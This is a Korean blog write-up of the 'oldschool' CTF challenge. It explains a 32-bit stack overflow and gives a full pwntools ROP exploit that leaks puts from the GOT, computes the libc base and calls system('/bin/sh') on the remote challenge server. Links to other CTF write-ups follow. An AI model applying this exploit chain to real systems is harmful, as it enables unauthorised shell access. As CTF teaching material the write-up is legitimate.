libc32.so.6파일과 바이너리 파일이 제공된다.
libc32.so.6이 제공되는 것을 보고 32bit 문제임을 예상했고, oldschool 바이너리를 아이다로 열어봐서 코드를 본 후 바로 32bit ROP 문제임을 알았다.
일반적인 32bit ROP 문제와 동일하다.
그래서 블로그에 포스팅했던 32bit rop 문제의 exploit code를 복붙하고, offset만 따로 구해줬다.
vuln 함수에서 단순히 read 함수로 0x100만큼 입력받고, return address를 충분히 덮고 ROP를 할 수 있을 정도로 입력받는다.
여기서 바로 블로그에 포스팅한 32bit ROP 문제 exploit code를 복붙했고, 디버깅으로 offset만 따로 구해서 바꿔줬다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./oldschool")
p = remote('bisc.lordofpwn.kr', 1473)
libc = ELF("./libc32.so.6")
elf = ELF("./oldschool")
pop_ebx = 0x0804838d
pay = 'A'*(0x38+0x4)
pay += p32(elf.plt['puts']) + p32(pop_ebx) + p32(elf.got['puts'])
pay += p32(elf.symbols['main'])
p.send(pay)
p.recvuntil("BoB\n")
puts = u32(p.recvuntil("\xf7"))
log.info("puts: "+hex(puts))
#libc_base = puts - 0x5fcb0
libc_base = puts - libc.symbols['puts']
log.info("libc_base: "+hex(libc_base))
one_gadget = libc_base + 0x3d1b3
system = libc_base + libc.symbols['system']
binsh = libc_base + list(libc.search('/bin/sh'))[0]
p.sendafter("BoB\n", 'A'*(0x38+0x4) + p32(system) + p32(pop_ebx) + p32(binsh))
#gdb.attach(p)
p.interactive()
[CISCN CTF 2017] babydriver (kernel exploit, kUAF) (0) | 2021.11.11 |
---|---|
[BISC CTF 2020] 2048 (0) | 2021.01.02 |
[2020 Power of XX] T-Lab write up (tcache house of spirit) (0) | 2020.12.18 |
[2020 Power of XX] What's your Temp? write up (glibc 2.31 double free bypass) (0) | 2020.12.18 |
[2020 Power of XX] POX Server write up (double staged fsb 64bit) (0) | 2020.12.18 |